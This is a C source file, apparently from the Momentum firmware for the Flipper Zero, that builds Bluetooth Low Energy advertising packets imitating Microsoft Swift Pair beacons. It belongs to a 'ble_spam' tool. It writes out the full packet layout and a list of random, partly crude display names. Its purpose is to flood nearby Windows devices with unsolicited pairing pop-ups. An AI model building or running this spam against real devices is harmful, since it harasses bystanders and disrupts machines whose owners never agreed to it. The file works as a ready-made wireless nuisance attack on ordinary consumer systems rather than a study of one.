Files
Momentum-Firmware/applications/external/ble_spam/protocols/swiftpair.c
2023-10-15 19:32:22 +01:00

55 lines
1.7 KiB
C

#include "swiftpair.h"
#include "_registry.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
const char* swiftpair_get_name(const BleSpamMsg* _msg) {
const SwiftpairMsg* msg = &_msg->swiftpair;
UNUSED(msg);
return "SwiftPair";
}
void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
const char* display_name;
if(msg && msg->display_name[0] != '\0') {
display_name = msg->display_name;
} else {
const char* names[] = {
"Assquach💦",
"Flipper 🐬",
"iOS 17 🍎",
"Kink💦",
"👉👌",
"🔵🦷",
};
display_name = names[rand() % COUNT_OF(names)];
}
uint8_t display_name_len = strlen(display_name);
uint8_t size = 7 + display_name_len;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x06; // Company ID (Microsoft)
packet[i++] = 0x00; // ...
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
memcpy(&packet[i], display_name, display_name_len); // Display Name
i += display_name_len;
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_swiftpair = {
.icon = &I_windows,
.get_name = swiftpair_get_name,
.make_packet = swiftpair_make_packet,
};